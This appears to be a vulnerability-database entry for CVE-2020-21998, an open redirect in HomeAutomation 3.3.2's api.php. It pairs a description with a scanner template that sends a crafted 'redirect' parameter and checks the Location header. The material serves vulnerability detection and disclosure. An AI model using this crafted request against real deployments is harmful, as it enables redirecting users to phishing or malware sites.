CVE-2020-21998: HomeAutomation 3.3.2 - Open Redirect

2025-08-01 HomeAutomation PoC Public

Description

HomeAutomation 3.3.2 contains a redirect vulnerability caused by improper verification of the 'redirect' GET parameter in 'api.php', letting attackers redirect users to arbitrary websites, exploit requires user interaction with a crafted link.

PoC

id: CVE-2020-21998

info:
  name: HomeAutomation 3.3.2 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    HomeAutomation 3.3.2 contains a redirect vulnerability caused by improper verification of the 'redirect' GET parameter in 'api.php', letting attackers redirect users to arbitrary websites, exploit requires user interaction with a crafted link.
  impact: |
    Attackers can redirect users to malicious external websites through crafted links, potentially facilitating phishing attacks or malware distribution.
  remediation: |
    Upgrade to HomeAutomation version 3.3.3 or later, or apply vendor-provided security patches.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5559.php
    - https://packetstormsecurity.com/files/155795/HomeAutomation-3.3.2-Open-Redirect.html
    - https://cxsecurity.com/issue/WLB-2019120132
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-21998
    cwe-id: CWE-601
    epss-score: 0.01319
    epss-percentile: 0.69396
    cpe: cpe:2.3:a:homeautomation_project:homeautomation:3.3.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: homeautomation_project
    product: homeautomation
  tags: cve,cve2020,homeautomation,packetstorm,iot,redirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/homeautomation_v3_3_2/api.php?do=groups/toggle&groupid=1&status=1&redirect=https://interact.sh/"

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header
# digest: 490a004630440220380bd866cc414273311429db2ef538e575839cee74510e3a9b7337288222ced602204204698f31fe90a22f220f8a2ff2569ddbe57b9567eaf9d40a6b854be7b8e8f4:922c64590222798bb761d5b6d8e72950

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